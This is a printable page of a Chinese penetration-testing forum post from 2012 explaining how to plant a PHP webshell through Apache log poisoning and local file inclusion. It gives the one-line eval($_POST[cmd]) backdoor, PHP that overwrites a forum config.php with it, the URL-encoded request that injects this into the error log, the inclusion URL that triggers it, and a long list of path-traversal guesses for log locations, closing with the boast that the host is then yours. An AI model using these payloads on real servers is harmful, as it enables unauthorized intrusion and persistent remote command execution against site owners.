中国网络渗透测试联盟

标题: php包含apache日志写马 [打印本页]
作者: admin    时间: 2012-9-15 14:27
标题: php包含apache日志写马
因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 & d* g/ w, ]: ?  X" b* [
) v; D/ d: g, b/ g1 ~
比如还是这句一句话木马 0 e" Z$ ^# F4 L9 \/ A
<?eval($_POST[cmd]);?>   ( f- R% h% }% d" g" m2 u2 e

( T, }4 e% Z' J到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
+ g- E: H2 f* A- V8 V+ u" vfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 $ F4 S1 _0 k7 n: a" D- B* E2 U6 u
/ F4 X; q$ R2 D& U2 ?
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
2 N7 ]* Z' r0 `2 E( ]: ?fclose($fp);?>   //在config.php里写入一句木马语句
/ z0 ^3 {5 q/ U# A5 }) y
/ l! C; k" C/ ~2 f% H6 C) G+ [我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
/ d0 ]- X3 z- @# ]3 [  J; n, K3 \7 E转换为 7 ~$ _4 h* j6 T$ r* g0 A4 o
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
. b8 m) k: E6 A1 D* }config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 3 W% }; I! D0 D
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B 7 \+ V- k+ E" X( e
fclose%28%24fp%29%3B%3F%3E , p( ]) [  h3 o+ ^5 u9 O
我们提交 $ R# g9 x, k" s/ J& v, X
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 3 D! x7 N" w1 F7 q
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
2 P! d! a9 _. a%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
$ M- |8 S% l0 Vcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 7 s4 W! R$ b  F
, X' V  C: x0 n0 ~2 i# C7 g
这样就错误日志里就记录下了这行写入webshell的代码。
/ {( Y) N3 S9 ?& O6 t8 d我们再来包含日志，提交 + |. L* }2 a: m  \
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
1 H2 ]* L9 _5 ~* A# q( g8 p2 u% g
这样webshell就写入成功了，config.php里就写入一句木马语句 - F8 c$ O( C# \
OK. 2 ~7 b; X+ ~5 Z
http://www.xxx.com/forum/config.php这个就成了我们的webshell ' ^' ^2 O8 G' ?
直接用lanker的客户端一连，主机就是你的了。
+ U5 n, d1 {( d/ ^( a3 i! w+ Y" M! F  [- G
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
: r! u% T& j# h0 ^6 _5 h1 R
7 g! N- b6 e: v$ N其他的日志路径，你可以去猜，也可以参照这里。
" B% l( G% n7 P5 f2 s8 W& p../../../../../../../../../../var/log/httpd/access_log 2 g! J+ [+ l5 L/ I1 J2 D. `& ^
../../../../../../../../../../var/log/httpd/error_log ; a8 K3 G( F* v. M
../apache/logs/error.log
6 u" C; ^: X/ o../apache/logs/access.log
% a! c* J8 k) {' `../../apache/logs/error.log
0 K: q$ x: c$ P1 ~- s+ d; L../../apache/logs/access.log 0 I) K" ?: n8 e! u7 c- ]8 R
../../../apache/logs/error.log
6 F! i3 s  f8 R../../../apache/logs/access.log 3 e& {7 ^5 u0 {: x# P
../../../../../../../../../../etc/httpd/logs/acces_log
. F# [6 A5 {0 a# Q4 l- v0 ?. F../../../../../../../../../../etc/httpd/logs/acces.log . `" P$ g  [$ R( ^
../../../../../../../../../../etc/httpd/logs/error_log 3 T" B% ]9 `/ u, @* D( U. j
../../../../../../../../../../etc/httpd/logs/error.log
0 _) |1 P( X7 y* k8 M+ }../../../../../../../../../../var/www/logs/access_log 1 l$ j1 x5 ]. S7 S5 ]+ }, r
../../../../../../../../../../var/www/logs/access.log . g, g2 y3 g3 ^7 y, ^
../../../../../../../../../../usr/local/apache/logs/access_log - W5 F& k* f3 K$ _- ?7 V
../../../../../../../../../../usr/local/apache/logs/access.log 0 ~6 J3 o, r( \0 C, ]8 z
../../../../../../../../../../var/log/apache/access_log * J2 t( E/ {. p/ o$ f
../../../../../../../../../../var/log/apache/access.log - \/ ]# e$ @" Z, k
../../../../../../../../../../var/log/access_log
  z9 n  s- T& X  _../../../../../../../../../../var/www/logs/error_log
- C+ Q6 Z2 ~. i/ b, ]; O1 z" z, K../../../../../../../../../../var/www/logs/error.log 0 N! Q* b6 b& G0 q# ?: B
../../../../../../../../../../usr/local/apache/logs/error_log ( R$ O3 r! g! J
../../../../../../../../../../usr/local/apache/logs/error.log
1 @: r# m6 i1 Q. l& w/ g  z../../../../../../../../../../var/log/apache/error_log
+ R, n* ?6 U) @1 W$ Z; R. _* s- t../../../../../../../../../../var/log/apache/error.log
: H- t2 c5 U& b0 C% ~../../../../../../../../../../var/log/access_log
; ]! E; s. N1 e../../../../../../../../../../var/log/error_log " E0 S; V* J& O% J- ^
/var/log/httpd/access_log      
# F- H  V' E/ I7 M+ f; O5 ^/var/log/httpd/error_log     
- l* |; F0 b# E- H../apache/logs/error.log     
" Z) ^" V2 v. |7 T  z, ]../apache/logs/access.log
. e" P  P+ Y- m1 ^8 z+ D$ I$ D$ W, J../../apache/logs/error.log
6 ~7 P2 w8 g9 l( U% E9 f8 b& f../../apache/logs/access.log 8 `, W2 ^' E( `- y8 O
../../../apache/logs/error.log 8 R9 J9 }9 h/ P& X6 K2 m. i7 H% m
../../../apache/logs/access.log 7 v) G- u# u2 J, M" y. B5 Z- C4 j& c
/etc/httpd/logs/acces_log
+ r( O3 v1 f$ a& L4 j. D/etc/httpd/logs/acces.log
$ v! N3 m0 z! h) ^/etc/httpd/logs/error_log
+ O$ X  W& T) y" h' w$ X* k5 U/etc/httpd/logs/error.log * L- J, J( V4 B. K0 P) y# v
/var/www/logs/access_log
  U/ {2 y( W/ e3 l6 I0 r2 l/var/www/logs/access.log
  y& ~' H$ ]' M) `1 f/usr/local/apache/logs/access_log 9 U& ^  z7 D6 e& `$ u& X  N5 z
/usr/local/apache/logs/access.log
! B8 M) I8 J2 o4 t7 ^2 S- u* S( o/var/log/apache/access_log
: @3 k! q1 d0 E: I/ \3 S/var/log/apache/access.log
, j+ Y* d+ y5 l: g/var/log/access_log
( B' ]5 u5 G8 \: ^. }1 b* C3 {/var/www/logs/error_log * u5 S9 K; x! z+ P9 q
/var/www/logs/error.log
8 z8 a; [+ Q4 F: G* d. N/usr/local/apache/logs/error_log
+ N( R# z3 x7 }1 ?" Y8 Q/usr/local/apache/logs/error.log
+ b4 D* V. g1 b; a  ~/var/log/apache/error_log
5 U6 E4 J  I, Z. Q3 ?; ]# z6 @/var/log/apache/error.log - h8 ?* A4 C' A6 q: l% _
/var/log/access_log , k* {( N$ `% ^2 G
/var/log/error_log



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2